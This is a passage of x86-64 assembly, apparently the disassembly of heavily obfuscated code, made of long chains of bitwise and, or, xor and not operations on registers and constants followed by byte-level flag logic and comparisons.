and eax, 0x1953c04c
and ebx, 0xe6ac3fb3
or ebx, eax
mov eax, ebx
xor eax, 0x42082412
xor ebx, 0x1953c04c
mov edx, ebp
not edx
mov ecx, edx
and ecx, 0xade4dbe5
and ebp, 0x521b241a
or ebp, ecx
or edx, ebx
and ebx, 0xade4dbe5
and eax, 0x521b241a
or eax, ebx
xor eax, ebp
not edx
or edx, eax
mov ecx, edx
xor ecx, 0xa1a9d629
and ecx, edx
not edx
and edx, 0xa1a9d629
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x252a2a0a
and ecx, 0xdad5d5f5
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x4d889a4f
and eax, 0xb27765b0
or eax, ebx
or ecx, ebp
and ebp, 0x4d889a4f
and edx, 0xb27765b0
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xaee19370
and ecx, 0x511e6c8f
or ecx, eax
mov esi, ecx
xor esi, 0xaee19370
xor ecx, 0x401a0488
and ecx, 0xc41a8488
mov edx, esi
and edx, 0xa800040
or edx, ecx
xor edx, 0xa800040
and esi, 0x31657b37
or esi, edx
mov ecx, esi
not ecx
and ecx, 0x31657b37
and esi, 0xce9a84c8
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0xcbe8adf9
and esi, 0x34175206
or esi, ecx
mov edi, esi
xor edi, 0x34175206
xor esi, 0xcbe8adf9
mov r10d, r9d
mov edx, r9d
mov ebx, r9d
xor ebx, 0xd66902f5
and ebx, r9d
not r9d
mov ecx, edi
and ecx, 0xcf5f84fc
mov eax, esi
and eax, 0x30a07b03
or eax, ecx
mov ecx, eax
xor ecx, 0xa06101
xor eax, 0xcf5f84fc
and r10d, 0xb10d1ef2
mov ebp, r9d
and ebp, 0x4ef2e10d
or ebp, r10d
or edx, eax
and eax, 0xb10d1ef2
and ecx, 0x4ef2e10d
or ecx, eax
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
not ebp
and r9d, 0xd66902f5
and edi, 0xd684ec11
mov eax, esi
and eax, 0x297b13ee
or eax, edi
mov ecx, eax
xor ecx, 0x297b13ee
xor eax, 0xedeee4
and eax, ecx
and esi, 0x2996fd0a
mov ecx, r9d
and ecx, ebx
xor ebx, r9d
or ebx, ecx
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, ebx
not eax
and eax, 0x117a3008
and ebx, 0xee85cff7
or ebx, eax
mov eax, esi
not eax
and eax, 0x117a3008
and esi, 0xee85cff7
or esi, eax
xor esi, ebx
mov eax, edx
and eax, 0x88e68d55
xor edx, 0x27c04cd2
and edx, ebp
mov r15d, ebp
and r15d, 0x771972aa
or r15d, eax
mov r9d, r15d
xor r9d, 0x771972aa
mov r10d, esi
not r10d
mov eax, r15d
xor eax, 0x50d93e78
and eax, r9d
mov edi, esi
xor edi, 0xd83fb32d
mov ecx, edi
and ecx, r10d
and edi, esi
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
mov ebp, ecx
not ebp
mov eax, edi
not eax
mov ebx, ebp
and ebx, 0xafb85462
and ecx, 0x5047ab9d
or ecx, ebx
or ebp, eax
and eax, 0xafb85462
and edi, 0x5047ab9d
or edi, eax
xor edi, ecx
not ebp
or ebp, edi
mov eax, edx
not eax
and eax, ebp
not ebp
and ebp, edx
or ebp, eax
xor r15d, 0x88e68d55
mov eax, r15d
and eax, 0xf4e17761
and r9d, 0xb1e889e
or r9d, eax
or r15d, esi
and esi, 0xf4e17761
and r10d, 0xb1e889e
or r10d, esi
xor r10d, r9d
not r15d
or r15d, r10d
mov eax, r15d
not eax
and eax, 0x3bca53d6
and r15d, 0xc435ac29
or r15d, eax
xor r15d, 0xc435ac29
mov eax, ebp
and eax, r15d
xor r15d, ebp
or r15d, eax
mov r10d, r15d
not r10d
mov ecx, r10d
and ecx, 0x2b88abd2
mov eax, r15d
and eax, 0xd477542d
or eax, ecx
mov ecx, eax
xor ecx, 0x375025
xor eax, 0x2b88abd2
mov r11d, r10d
and r11d, r15d
mov r9d, r11d
not r9d
mov edx, eax
and edx, 0xdf488488
and ecx, 0x20b77b77
or ecx, edx
mov edx, r9d
and edx, 0xdf488488
mov esi, r11d
and esi, 0x20b77b77
or esi, edx
xor esi, ecx
or eax, r9d
not eax
or eax, esi
mov ecx, eax
not ecx
and ecx, 0xb6cc0d1c
and eax, 0x4933f2e3
or eax, ecx
mov edx, eax
xor edx, 0xb6cc0d1c
and edx, eax
mov eax, r15d
and eax, 0x9d2cca56
mov ecx, r10d
and ecx, 0x62d335a9
or ecx, eax
xor ecx, 0xd41f38b5
mov ebx, r10d
and ebx, 0x4933f2e3
or ebx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0x4e29886e
and ebp, edx
mov eax, edx
not eax
or ecx, 0xb1d67791
mov edx, ecx
not edx
mov edi, ebx
mov esi, ecx
and esi, 0x9e73a03
and edx, 0x4608806c
or edx, esi
mov esi, ebp
not esi
or ecx, esi
and esi, 0x9e73a03
and ebp, 0xf618c5fc
or ebp, esi
mov esi, eax
and esi, ebx
xor eax, ebx
not ebx
or ebx, 0xb1d67791
xor ebp, edx
mov edx, ebx
not edx
or edi, 0x4e29886e
not ecx
or ecx, ebp
mov ebp, edi
not ebp
and ebx, 0xa79d798
and edx, 0x44000866
or edx, ebx
and edi, 0xa79d798
and ebp, 0xb1862001
or ebp, edi
xor ebp, edx
mov edx, ecx
not edx
and edx, ebp
not ebp
and ebp, ecx
or ebp, edx
or eax, esi
not eax
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb0c80d14
mov edx, eax
and edx, 0x6040008
or edx, ecx
xor edx, 0x6040008
and eax, 0x4933f2e3
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x3f997f68
and eax, 0xc0668097
or eax, edx
mov esi, eax
xor esi, 0x208016
xor eax, 0x4000000
or ecx, 0x47abf017
mov edx, ecx
not edx
or eax, 0xb8100b40
and eax, 0xfc120b41
and esi, 0x3a9f016
or esi, eax
and ecx, 0xfc120b41
and edx, 0x4404a8
or edx, ecx
xor edx, esi
mov eax, edx
not eax
and eax, 0x968e3181
and edx, 0x6971ce7e
or edx, eax
mov eax, edx
xor eax, 0xac21029
xor edx, 0x41248016
and eax, 0x9ac351a9
and edx, 0x653cae56
or edx, eax
mov eax, edx
xor eax, 0x82824101
xor edx, 0x41342e14
and edx, 0x59753ebc
and eax, 0xa68ac143
or eax, edx
mov r14d, eax
xor r14d, 0xa68ac143
and r10d, 0x4c1f2d54
and r15d, 0xb3e0d2ab
or r15d, r10d
mov ecx, r15d
xor ecx, 0x9220c008
xor r15d, 0x4c1f2d54
mov edx, r15d
and edx, 0x65d333e7
and ecx, 0x9a2ccc18
or ecx, edx
or r15d, r9d
and r9d, 0x65d333e7
and r11d, 0x9a2ccc18
or r11d, r9d
xor r11d, ecx
not r15d
or r15d, r11d
mov edx, r15d
not edx
mov ecx, edx
and ecx, 0xbf819df2
and r15d, 0x407e620d
or r15d, ecx
mov edi, r15d
xor edi, 0x407e620d
mov ebp, r15d
xor ebp, 0x50f87b50
and ebp, edi
or edx, 0xef79e6a2
mov ecx, edx
not ecx
mov ebx, ebp
not ebx
mov esi, ebx
and esi, 0x2054a57f
and ebp, 0xdfab5a80
or ebp, esi
or ebx, edx
and edx, 0x2054a57f
and ecx, 0x10821800
or ecx, edx
xor ecx, ebp
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x3029bf6e
and ebx, 0xcfd64091
or ebx, ecx
mov ecx, ebx
xor ecx, 0x802602
xor r15d, 0xbc8195c0
and r15d, 0xfc95b5c8
and edi, 0x36a4a37
or edi, r15d
mov edx, edi
xor edx, 0xfc95b5c8
xor edi, 0x1400a06
xor ebx, 0xdf5059cc
mov ebp, ebx
and ebp, 0x222fc039
and ecx, 0xddd03fc6
or ecx, ebp
or ebx, edx
and edx, 0x222fc039
and edi, 0xddd03fc6
or edi, edx
xor edi, ecx
not ebx
or ebx, edi
mov edi, ebx
not edi
mov edx, ebx
and edx, 0xb7bad02f
mov ecx, edi
and ecx, 0x48452fd0
or ecx, edx
xor ecx, 0x48452fd0
mov edx, r14d
and edx, ecx
xor ecx, r14d
or ecx, edx
mov edx, ecx
not edx
and edx, 0xcfe746d1
and ecx, 0x3018b92e
or ecx, edx
mov r10d, ecx
xor r10d, 0x3018b92e
mov r9d, ecx
xor r9d, 0xcfe746d1
xor eax, 0x503030
mov edx, r14d
or edx, 0x97f830b1
mov ebp, edx
not ebp
and ebx, 0x84d81080
mov esi, edi
and esi, 0x13202031
or esi, ebx
xor esi, 0x13202031
and edi, 0x6807cf4e
or edi, esi
or eax, 0x20018644
and eax, 0xa2d1b674
and r14d, 0x15280081
or r14d, eax
and edx, 0xa2d1b674
and ebp, 0x4806490a
or ebp, edx
xor ebp, r14d
mov eax, ebp
not eax
and eax, 0x9eddeadd
and ebp, 0x61221522
or ebp, eax
mov eax, edi
not eax
and eax, 0x9eddeadd
and edi, 0x61221522
or edi, eax
xor edi, ebp
mov r14d, edi
mov ebp, edi
xor ebp, 0xfd09cf7c
and ebp, edi
not edi
and edi, 0xbd212900
and r14d, 0x42ded6ff
or r14d, edi
mov r11d, r14d
xor r11d, 0x4252d03c
xor ecx, 0xcd117652
mov edx, ecx
and edx, r9d
and ecx, r10d
xor r14d, 0xbd212900
mov eax, r14d
or eax, 0x2f63083
mov edi, eax
not edi
mov esi, edx
not esi
mov ebx, esi
and ebx, 0xc4f77863
and edx, 0x3b08879c
or edx, ebx
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0xc4f77863
and ecx, 0x3b08879c
or ecx, ebx
xor ecx, edx
not esi
or esi, ecx
mov ecx, ebp
not ecx
mov edx, eax
and edx, 0x6709f44f
and edi, 0x98000b30
or edi, edx
or eax, ecx
and ecx, 0x6709f44f
and ebp, 0x98f60bb0
or ebp, ecx
xor ebp, edi
not eax
or eax, ebp
mov ecx, esi
not ecx
and ecx, 0x7307f2a3
and esi, 0x8cf80d5c
or esi, ecx
mov ecx, eax
not ecx
and ecx, 0x7307f2a3
and eax, 0x8cf80d5c
or eax, ecx
xor eax, esi
mov ecx, r10d
and ecx, 0xd8c2ec3
and r9d, 0xf273d13c
or r9d, ecx
or r10d, r14d
and r14d, 0xd8c2ec3
and r11d, 0xf273d13c
or r11d, r14d
xor r11d, r9d
not r10d
or r10d, r11d
mov ecx, r10d
not ecx
and ecx, 0x6e861567
and r10d, 0x9179ea98
or r10d, ecx
xor r10d, 0x9179ea98
mov ecx, eax
and ecx, r10d
xor r10d, eax
or r10d, ecx
mov ebx, r10d
not ebx
mov eax, r10d
mov edi, ebx
mov ebp, r10d
and r10d, ebx
mov r9d, ebx
and r9d, r10d
xor r10d, ebx
and ebx, 0xa30733fd
and eax, 0x5cf8cc02
or eax, ebx
mov ecx, eax
xor ecx, 0x54684800
xor eax, 0xa10301dd
and eax, 0xa99385df
and ecx, 0x566c7a20
or ecx, eax
mov eax, ecx
xor eax, 0xa0930547
xor ecx, 0x566c7a20
and eax, 0xe2f71d67
mov ebx, ecx
and ebx, 0x1d08e298
or ebx, eax
xor ebx, 0x1d08e298
or ebx, ecx
and edi, 0x4f609a54
and ebp, 0xb09f65ab
or ebp, edi
mov eax, ebp
xor eax, 0xa08b240a
xor ebp, 0x46201050
and ebp, 0x563451f1
and eax, 0xa9cbae0e
or eax, ebp
mov ecx, eax
xor ecx, 0x563451f1
mov ebp, ebx
mov edi, ecx
mov r11d, ebx
and r11d, ecx
xor ecx, ebx
not ebx
xor eax, 0x8841a408
xor ebp, 0xc865a529
and ebp, ebx
or ebx, 0xc865a529
mov edx, ebx
not edx
and edi, 0x379a5ad6
and eax, 0xc865a529
or eax, edi
mov edi, ebp
not edi
mov esi, ebx
and esi, 0xb9451d96
and edx, 0x69a4240
or edx, esi
or ebx, edi
and edi, 0xb9451d96
and ebp, 0x46bae269
or ebp, edi
xor ebp, edx
not ebx
or ebx, ebp
mov edx, ebx
not edx
and edx, eax
not eax
and eax, ebx
or eax, edx
or ecx, r11d
mov edx, ecx
not edx
and edx, 0x32c4399a
and ecx, 0xcd3bc665
or ecx, edx
xor ecx, 0xcd3bc665
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x8f1168af
and ecx, 0x70ee9750
or ecx, eax
mov ebp, ecx
xor ebp, 0x60040500
xor ecx, 0x3100000
or edx, 0x6b540548
mov eax, edx
not eax
or ecx, 0x80013215
and ecx, 0x83513255
and ebp, 0x68040508
or ebp, ecx
and edx, 0x83513255
and eax, 0x14aac8a2
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x94abfab7
and eax, 0x6b540548
or eax, ecx
or r10d, r9d
mov ecx, eax
not ecx
mov edx, r10d
not edx
and r10d, ecx
or ecx, edx
not ecx
and edx, eax
or edx, r10d
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
mov ebp, eax
or ebp, 0xaba44904
mov ecx, ebp
not ecx
or edx, 0x500a842b
and edx, 0xfa8e8c2b
and eax, 0x1204104
or eax, edx
and ebp, 0xfa8e8c2b
and ecx, 0x45132d0
or ecx, ebp
xor ecx, eax
mov eax, ecx
not eax
and eax, 0x7e9c3934
and ecx, 0x8163c6cb
or ecx, eax
mov eax, ecx
xor eax, 0x410f0f
xor ecx, 0xd5387030
mov edx, ecx
and edx, 0x7eaeb0e0
and eax, 0x81514f1f
or eax, edx
xor eax, 0x81514f1f
or eax, ecx
cmp eax, 0xffffffff
setne r14b
sete dil
cmp r8d, 9
setg r15b
cmp r8d, 0xa
setl r9b
mov r11d, r9d
xor r11b, r15b
mov r13d, r11d
xor r13b, 1
mov eax, r11d
or al, r13b
mov ecx, r13d
or cl, al
xor al, r11b
xor al, 1
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, r15b
mov ebx, ecx
xor bl, 1
mov edx, r9d
xor dl, r13b
and dl, r9b
mov eax, r15d
xor al, r13b
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
mov edx, eax
xor dl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, eax
and cl, bl
mov r10d, ebx
and r10b, cl
mov edx, ebx
xor dl, cl
or dl, r10b
mov r8d, edx
xor r8b, 1
or r8b, dl
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
and dl, r8b
xor r8b, 1
xor cl, 1
and cl, r8b
or cl, dl
mov edx, r8d
xor dl, al
or r8b, al
xor r8b, 1
or r8b, dl
xor r8b, 1
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov ebp, edi
xor bpl, r14b
mov ecx, ebp
xor cl, 1
mov eax, ecx
or al, bpl
mov edx, eax
xor dl, 1
mov ebx, ebp
and bl, cl
xor bl, 1
mov r10d, ecx
xor r10b, bl
or bl, cl
xor bl, 1
or bl, r10b
and dl, bl
xor bl, 1
and bl, al
or bl, dl
mov edx, eax
and dl, bpl
xor al, bpl
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, dil
mov r10d, eax
xor r10b, 1
mov edx, r14d
and dl, cl
mov ebx, r14d
xor bl, cl
or bl, dl
and cl, dil
and r14b, bpl
or r14b, cl
mov ecx, r14d
xor cl, 1
or cl, bl
xor bl, r14b
xor bl, 1
xor cl, 1
or cl, bl
mov esi, ecx
xor sil, 1
mov edx, esi
and dl, cl
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
and al, dl
xor dl, 1
and dl, r10b
or dl, al
mov eax, r10d
xor al, sil
or sil, r10b
xor sil, 1
or sil, al
xor sil, 1
mov eax, edx
and al, sil
xor sil, dl
or sil, al
mov byte [rsp + 0x48], r8b
mov edx, r8d
xor dl, 1
mov byte [rsp + 0x3c], dl
mov eax, edx
or al, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r10d, eax
xor r10b, 1
mov ecx, r10d
xor cl, al
and cl, r10b
or al, r10b
mov ebx, eax
xor bl, cl
and cl, bl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
xor dl, 1
and dl, cl
or al, dl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r10d, edx
and r10b, cl
xor dl, cl
or cl, al
mov r8d, ecx
xor r8b, 1
mov r12d, r8d
and r12b, cl
or dl, r10b
mov ebx, r12d
xor bl, 1
xor r12b, r8b
or bl, cl
xor bl, 1
or bl, r12b
xor bl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor bl, 1
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
mov r10d, ebx
xor r10b, 1
mov eax, r10d
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor r10b, al
or r10b, al
mov r12d, r10d
xor r12b, 1
and r13b, r11b
xor r13b, 1
mov eax, r11d
xor al, r13b
or r13b, r11b
xor r13b, 1
or r13b, al
mov ecx, r13d
xor cl, 1
and r13b, r9b
or r9b, cl
and cl, r15b
or cl, r13b
xor cl, 1
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov ebx, r8d
and bl, al
mov edx, ebx
xor dl, 1
xor bl, r8b
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
xor dl, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov r13d, ecx
and r13b, al
xor r13b, 1
mov edx, r13d
xor dl, al
or r13b, al
xor r13b, 1
or r13b, dl
or cl, al
mov eax, ecx
xor al, r13b
xor r13b, 1
xor al, 1
or r13b, cl
xor r13b, 1
or r13b, al
mov r8d, r13d
xor r8b, 1
mov ecx, esi
xor cl, 1
mov ebx, ecx
or bl, sil
mov byte [rsp + 0x40], bl
mov byte [rsp + 0x38], sil
mov eax, ecx
xor al, bl
mov edx, ecx
mov r9d, ecx
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and cl, sil
mov ebx, ecx
xor bl, 1
mov r11d, r9d
mov byte [rsp + 0x3a], r9b
xor r11b, cl
or bl, sil
xor bl, 1
or bl, r11b
mov byte [rsp + 0x39], bl
and cl, r9b
or cl, r11b
mov r15d, ecx
xor r15b, 1
and cl, al
or al, r15b
xor al, 1
and r15b, dl
or r15b, cl
mov edx, eax
and dl, r15b
xor r15b, al
or r15b, dl
or bpl, dil
xor bpl, 1
mov eax, ebp
and al, r14b
xor bpl, r14b
or bpl, al
mov edi, ebp
xor dil, 1
mov eax, ebp
xor al, dil
and dil, bpl
and al, bpl
xor al, dil
xor al, 1
and dil, al
xor dil, 1
mov edx, edi
xor dl, al
or dil, al
xor dil, 1
or dil, dl
mov r9d, r12d
and r9b, r8b
mov ebp, r8d
and bpl, r13b
mov eax, r13d
xor al, bpl
mov edx, ebp
xor dl, 1
xor bpl, r8b
or r8b, dl
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
or al, r8b
mov r14d, eax
xor r14b, 1
mov r8d, r14d
and r8b, al
or dl, r13b
mov ecx, eax
and cl, r13b
xor al, r13b
and r13b, r10b
or r9b, r13b
xor r9b, 1
mov r11d, r9d
and r11b, r10b
xor r9b, r10b
or r9b, r11b
xor r10b, r12b
and r10b, r12b
mov r12d, r8d
and r12b, r14b
xor r8b, r14b
mov r11d, r15d
xor r11b, 1
or r8b, r12b
mov r13d, edi
xor r13b, 1
xor dl, 1
or dl, bpl
mov ebx, r9d
xor bl, 1
xor dl, r8b
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, r10b
and al, dl
and dl, r10b
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, r9b
or al, bl
and bl, dl
or bl, cl
xor bl, 1
or bl, r9b
or dl, r9b
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
xor bl, 1
mov ecx, edx
xor cl, bl
xor al, 1
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov byte [rsp + 0x3b], bl
mov r9d, r11d
and r9b, r15b
mov eax, r15d
and al, r9b
mov ecx, r15d
xor cl, r9b
or cl, al
mov eax, ecx
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov r14d, eax
and r14b, cl
xor al, r14b
xor r14b, 1
or r14b, cl
xor r14b, 1
or r14b, al
mov eax, r14d
xor al, 1
and al, r15b
and r14b, r11b
or r14b, al
mov eax, ecx
xor al, r11b
or cl, r11b
xor cl, 1
or cl, al
mov eax, ecx
xor al, r14b
xor r14b, 1
xor al, 1
or r14b, cl
xor r14b, 1
or r14b, al
mov ebx, r13d
or bl, dil
mov eax, ebx
xor al, 1
mov ecx, r13d
xor cl, bl
and bl, dil
mov edx, r13d
and dl, al
or dl, bl
mov ebx, r14d
xor bl, 1
or al, dil
xor al, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r10d, eax
mov eax, r14d
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
mov byte [rsp + 0x47], bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, r14b
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov r12d, eax
xor r12b, 1
xor r11b, r9b
xor r9b, 1
or r9b, r15b
xor r9b, 1
or r9b, r11b
and dil, r13b
xor dil, 1
mov ecx, r13d
xor cl, dil
or dil, r13b
xor dil, 1
or dil, cl
mov r11d, r12d
and r11b, al
mov r13d, eax
xor r13b, r9b
and r13b, al
or al, r12b
mov ecx, eax
xor cl, 1
and al, cl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov edx, r11d
and dl, r12b
xor r11b, r12b
or r11b, dl
mov edx, eax
xor dl, 1
and dl, r11b
xor r11b, 1
and r11b, al
or r11b, dl
mov eax, ecx
xor al, r12b
or cl, r12b
xor cl, 1
or cl, al
xor cl, 1
mov eax, r11d
and al, cl
xor cl, r11b
mov r15d, r9d
xor r15b, 1
or cl, al
mov edx, r9d
or dl, r15b
mov r11d, edx
xor r11b, 1
mov eax, edx
and al, r11b
mov r8d, edx
xor r8b, al
xor al, 1
or al, r11b
xor al, 1
or al, r8b
mov r8d, edx
and r8b, r15b
xor dl, r15b
mov r11d, r15d
and r15b, r9b
xor r11b, r15b
xor r15b, 1
or r15b, r9b
xor r15b, 1
or r15b, r11b
mov r11d, eax
xor r11b, 1
and r11b, r15b
xor r15b, 1
and r15b, al
or r15b, r11b
or dl, r8b
xor r15b, 1
mov eax, r15d
xor al, dl
or r15b, dl
xor r15b, 1
or r15b, al
mov r11d, r15d
xor r11b, 1
and r11b, r15b
mov eax, r11d
and al, r15b
xor r11b, r15b
or r11b, al
mov eax, ecx
xor al, 1
and al, r11b
xor r11b, 1
and r11b, cl
mov byte [rsp + 0x51], r10b
mov r15d, r10d
xor r15b, 1
or r11b, al
mov eax, r15d
and al, r10b
xor r9b, r12b
mov ecx, r13d
and cl, r9b
xor r9b, r13b
mov r12d, r15d
xor r12b, r10b
or al, r12b
or r9b, cl
xor r11b, 1
mov ecx, r11d
or cl, r9b
xor cl, 1
xor r11b, r9b
mov r8d, ecx
and r8b, r11b
xor r11b, cl
mov r13d, eax
xor r13b, 1
or r11b, r8b
mov ebp, eax
and bpl, r13b
mov ecx, eax
and cl, bpl
xor bpl, al
or bpl, cl
mov eax, edi
xor al, 1
mov r8d, eax
xor r8b, dil
and dil, al
xor dil, 1
mov r9d, eax
xor r9b, dil
or dil, al
xor dil, 1
or dil, r9b
and r8b, al
mov eax, ebp
xor al, 1
or al, bpl
xor al, 1
xor r13b, al
mov edx, r13d
xor dl, 1
and al, dl
mov r9d, eax
xor al, r13b
xor r9b, 1
or r9b, dl
xor r9b, 1
or r9b, al
mov r13d, edi
xor r13b, 1
mov r10d, r13d
or r10b, dil
mov esi, r10d
xor sil, 1
mov ecx, esi
and cl, r10b
mov edx, ecx
xor dl, 1
xor cl, sil
or dl, r10b
xor dl, 1
or dl, cl
mov eax, r8d
xor al, 1
mov ecx, r8d
and cl, al
mov ebx, ecx
and bl, r8b
xor cl, r8b
or cl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
xor al, r10b
or r8b, sil
xor r8b, 1
or r8b, al
xor r8b, 1
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov ecx, r9d
xor cl, 1
and cl, r9b
xor cl, 1
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, r8d
xor al, 1
and al, r8b
xor al, 1
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
xor r13b, bpl
and r13b, bpl
xor dil, bpl
mov ecx, r13d
and cl, dil
xor dil, r13b
or dil, cl
mov ecx, edi
xor cl, 1
mov edx, eax
xor dl, 1
and cl, dl
or dl, dil
and dil, al
or dil, cl
mov eax, edx
xor al, dil
xor dil, 1
xor al, 1
or dil, dl
xor dil, 1
or dil, al
mov ecx, r11d
xor cl, 1
mov r8d, ecx
and r8b, r11b
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov r9d, r8d
xor r9b, 1
or cl, r11b
mov ebx, r8d
and bl, r9b
xor bl, 1
mov eax, ebx
xor al, r9b
or bl, r9b
xor bl, 1
or bl, al
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and dl, al
and bl, cl
or bl, dl
xor cl, r9b
or al, r8b
mov r8d, edi
xor r8b, 1
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
mov edx, r8d
or dl, dil
or al, cl
mov ecx, edx
xor cl, 1
mov r13d, ecx
and r13b, dl
xor r13b, 1
mov ebx, r13d
xor bl, dl
or r13b, dl
xor r13b, 1
or r13b, bl
mov ebx, r13d
and bl, dil
xor r13b, 1
and r13b, r8b
or r13b, bl
xor dl, dil
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, r13b
xor r13b, 1
xor dl, 1
or r13b, cl
xor r13b, 1
or r13b, dl
xor r13b, 1
mov ecx, r13d
or cl, al
xor r13b, al
xor r13b, 1
and r13b, al
xor r13b, 1
mov eax, ecx
xor al, r13b
or r13b, cl
xor r13b, 1
or r13b, al
mov ecx, r14d
movzx r8d, byte [rsp + 0x47]
xor cl, r8b
and cl, r14b
and r12b, r15b
movzx r9d, byte [rsp + 0x51]
mov eax, r9d
or al, r15b
xor al, 1
mov edx, r12d
xor dl, al
mov ebx, edx
xor bl, 1
or al, r12b
xor al, 1
or al, dl
xor dl, al
xor dl, 1
or al, bl
xor al, 1
or al, dl
xor al, cl
mov ecx, r8d
mov edx, r9d
xor dl, r8b
xor cl, r15b
or r15b, r14b
xor r15b, 1
or r15b, dl
mov edx, ecx
xor dl, r15b
or r15b, cl
xor r15b, 1
or r15b, dl
mov ecx, r15d
xor cl, 1
mov edx, ecx
and dl, r15b
xor cl, dl
xor dl, 1
or dl, r15b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and dl, al
or cl, dl
xor bl, 1
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov ebx, ecx
or bl, dl
mov r8d, ebx
xor r8b, 1
mov eax, ecx
and al, dl
xor al, 1
mov r9d, edx
xor r9b, al
or al, dl
xor al, 1
or al, r9b
mov edx, eax
xor dl, 1
and dl, bl
and al, r8b
or al, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov r12d, eax
xor r12b, 1
mov ecx, r12d
and cl, al
mov edx, ecx
and dl, r12b
xor cl, r12b
or cl, dl
xor cl, 1
or r12b, al
mov eax, ecx
xor al, r12b
or r12b, cl
xor r12b, 1
or r12b, al
mov eax, r12d
xor al, 1
and r12b, al
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov ebp, r12d
xor bpl, 1
mov r10d, r13d
xor r10b, 1
mov eax, r10d
and al, r13b
xor r10b, al
xor al, 1
mov r11d, r13d
or r11b, al
xor r11b, 1
or r10b, r11b
mov r8d, r10d
xor r8b, 1
mov r9d, ebp
and r9b, r12b
mov ecx, ebp
xor cl, r9b
xor r9b, 1
or r9b, r12b
xor r9b, 1
or r9b, cl
mov ebx, r10d
or bl, r8b
mov ecx, ebx
xor cl, 1
and bl, cl
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
xor al, r13b
or al, r11b
